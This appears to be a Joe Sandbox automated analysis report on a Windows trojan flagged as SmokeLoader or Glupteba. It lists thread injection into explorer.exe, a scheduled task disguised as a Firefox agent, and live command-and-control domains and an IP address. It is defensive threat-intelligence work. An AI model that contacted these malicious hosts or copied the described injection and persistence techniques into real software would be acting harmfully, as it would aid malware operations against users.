Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_02C4092B mov eax, dword ptr fs:[00000030h]	6_2_02C4092B
Source: C:\Users\user\AppData\Roaming\ifvwgru	Code function: 6_2_02EC9B4E push dword ptr fs:[00000030h]	6_2_02EC9B4E

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: ifvwgru.2.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 188.40.141.211 80

Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Thread created: C:\Windows\explorer.exe EIP: 8751A88			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Thread created: unknown EIP: 2F21A88			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\vwaoMjcyAw.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ifvwgru	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: explorer.exe, 00000002.00000000.2251640669.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.3443741534.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: explorer.exe, 00000002.00000002.3445039126.00000000048E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2251640669.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.3443741534.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000002.00000000.2251640669.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.3443741534.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000002.00000002.3443287218.0000000000D60000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2251375594.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +Progman
Source: explorer.exe, 00000002.00000000.2251640669.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.3443741534.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000002.00000002.3448807647.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2255032281.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd31A

Source: C:\Windows\explorer.exe

Code function: 2_2_087535B8 GetUserNameW,

2_2_087535B8

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000006.00000002.2485910630.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2485978515.0000000002CB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2269955686.0000000002CD1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2269686012.0000000002BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000006.00000002.2485910630.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2485978515.0000000002CB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2269955686.0000000002CD1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2269686012.0000000002BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	32 Process Injection	11 Masquerading	OS Credential Dumping	511 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Virtualization/Sandbox Evasion	LSASS Memory	12 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	32 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vwaoMjcyAw.exe	74%	ReversingLabs	Win32.Trojan.Glupteba
vwaoMjcyAw.exe	77%	Virustotal		Browse
vwaoMjcyAw.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\ifvwgru	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\ifvwgru	74%	ReversingLabs	Win32.Trojan.Glupteba
C:\Users\user\AppData\Roaming\ifvwgru	77%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
selebration17io.io	17%	Virustotal		Browse
56.126.166.20.in-addr.arpa	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://api.msn.com/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://valarioulinity1.net/index.php	100%	Avira URL Cloud	malware
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://api.msn.com/I	0%	Avira URL Cloud	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF	0%	Avira URL Cloud	safe
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz	0%	Avira URL Cloud	safe
http://aeuothcasbr.com/	0%	Avira URL Cloud	safe
https://excel.office.com-	0%	Avira URL Cloud	safe
https://word.office.comM	0%	Avira URL Cloud	safe
http://selebration17io.io/	100%	Avira URL Cloud	phishing
http://vacantion18ffeu.cc/index.php	100%	Avira URL Cloud	malware
https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc	0%	Avira URL Cloud	safe
http://atahmsiplorwquuw.net/	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-	0%	Avira URL Cloud	safe
http://vacantion18ffeu.cc/index.php	21%	Virustotal		Browse
https://api.msn.com/I	0%	Virustotal		Browse
https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark	0%	Avira URL Cloud	safe
http://selebration17io.io/	17%	Virustotal		Browse
https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri	0%	Avira URL Cloud	safe
http://valarioulinity1.net/index.php	15%	Virustotal		Browse
https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve	0%	Avira URL Cloud	safe
http://goodfooggooftool.net/index.php	100%	Avira URL Cloud	malware
https://powerpoint.office.comEMd	0%	Avira URL Cloud	safe
http://aeuothcasbr.com/application/x-www-form-urlencodedMozilla/5.0	0%	Avira URL Cloud	safe
http://cassiosssionunu.me/index.php	100%	Avira URL Cloud	malware
https://outlook.come	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	0%	Avira URL Cloud	safe
http://selebration17io.io/index.php	100%	Avira URL Cloud	malware
https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h	0%	Avira URL Cloud	safe
http://selebration17io.io/index.php	15%	Virustotal		Browse
https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu	0%	Avira URL Cloud	safe
https://wns.windows.com/e	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-	0%	Avira URL Cloud	safe
https://www.msn.com:443/en-us/feed	0%	Avira URL Cloud	safe
http://sulugilioiu19.net/index.php	100%	Avira URL Cloud	malware
https://www.msn.com:443/en-us/feed	1%	Virustotal		Browse
https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei	0%	Avira URL Cloud	safe
http://goodfooggooftool.net/index.php	16%	Virustotal		Browse
http://buriatiarutuhuob.net/index.php	100%	Avira URL Cloud	malware
http://buriatiarutuhuob.net/index.php	16%	Virustotal		Browse
http://sulugilioiu19.net/index.php	14%	Virustotal		Browse
http://cassiosssionunu.me/index.php	14%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
selebration17io.io	188.40.141.211	true	true	17%, Virustotal, Browse	unknown
56.126.166.20.in-addr.arpa	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://valarioulinity1.net/index.php	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://vacantion18ffeu.cc/index.php	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://goodfooggooftool.net/index.php	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://cassiosssionunu.me/index.php	true	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://selebration17io.io/index.php	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://sulugilioiu19.net/index.php	true	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://buriatiarutuhuob.net/index.php	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000002.00000000.2254640839.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/I	explorer.exe, 00000002.00000000.2254640839.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aeuothcasbr.com/	explorer.exe, 00000002.00000002.3452125149.000000000C385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.2979437025.000000000C385000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.com-	explorer.exe, 00000002.00000003.2979925369.000000000C08A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3451553162.000000000C08B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2256911237.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.comM	explorer.exe, 00000002.00000003.2979925369.000000000C08A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3451553162.000000000C08B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2256911237.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://selebration17io.io/	explorer.exe, 00000002.00000002.3452125149.000000000C385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.2979437025.000000000C385000.00000004.00000001.00020000.00000000.sdmp	true	17%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://atahmsiplorwquuw.net/	explorer.exe, 00000002.00000002.3448807647.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000002.00000000.2251732709.00000000028A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.3446354300.0000000007B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.3446333236.0000000007B50000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.office.comEMd	explorer.exe, 00000002.00000000.2256911237.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3451360110.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aeuothcasbr.com/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 00000002.00000002.3452125149.000000000C385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.2979437025.000000000C385000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000002.00000002.3451360110.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2256911237.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.come	explorer.exe, 00000002.00000003.2979925369.000000000C08A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3451553162.000000000C08B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2256911237.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 00000002.00000000.2255032281.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/	explorer.exe, 00000002.00000000.2254640839.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/e	explorer.exe, 00000002.00000002.3448807647.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2255032281.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei	explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.40.141.211	selebration17io.io	Germany		24940	HETZNER-ASDE	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1496331
Start date and time:	2024-08-21 07:11:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	vwaoMjcyAw.exe renamed because original name is a hash value
Original Sample Name:	49b527dacc10e6d0e9d2924ecc4e59a8d727d5a2eb89aea324d303f4c8e7ba28.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@2/2@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 64 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:12:25	API Interceptor	616x Sleep call for process: explorer.exe modified
07:12:31	Task Scheduler	Run new task: Firefox Default Browser Agent E9356D34AD307885 path: C:\Users\user\AppData\Roaming\ifvwgru

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.40.141.211	Qi4Mj8hG3t.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	br0A8E2X6I.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	setup.exe	Get hash	malicious	Babuk, Djvu	Browse	zexeq.com/test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true
	SecuriteInfo.com.Win32.Evo-gen.21074.1738.exe	Get hash	malicious	SmokeLoader	Browse	agressivemnaiq.xyz/
	A9BCD8D127BE95C64EDAE5CDD2379494A37D458FD9D5881D74F8D5487A805E6C.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/
	be1c79275d836696a00b258d15a8b337a8c9beb8198a5bd3d5aaf64d660c8005_dump.exe	Get hash	malicious	SmokeLoader	Browse	host-data-coin-11.com/
	EF2D1DE8BE7B216F6983BD43D120B512A0917EBE887F30D256ECA8395CE613CC.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/
	LisectAVT_2403002B_303.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	aucmoney.com/upload/
	LisectAVT_2403002C_47.exe	Get hash	malicious	SmokeLoader	Browse	trad-einmyus.com/index.php
	EF48AEBC0F1E77208BBCD5206C58678BB1181994507D1084E1D324DCA9D5D3B8.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
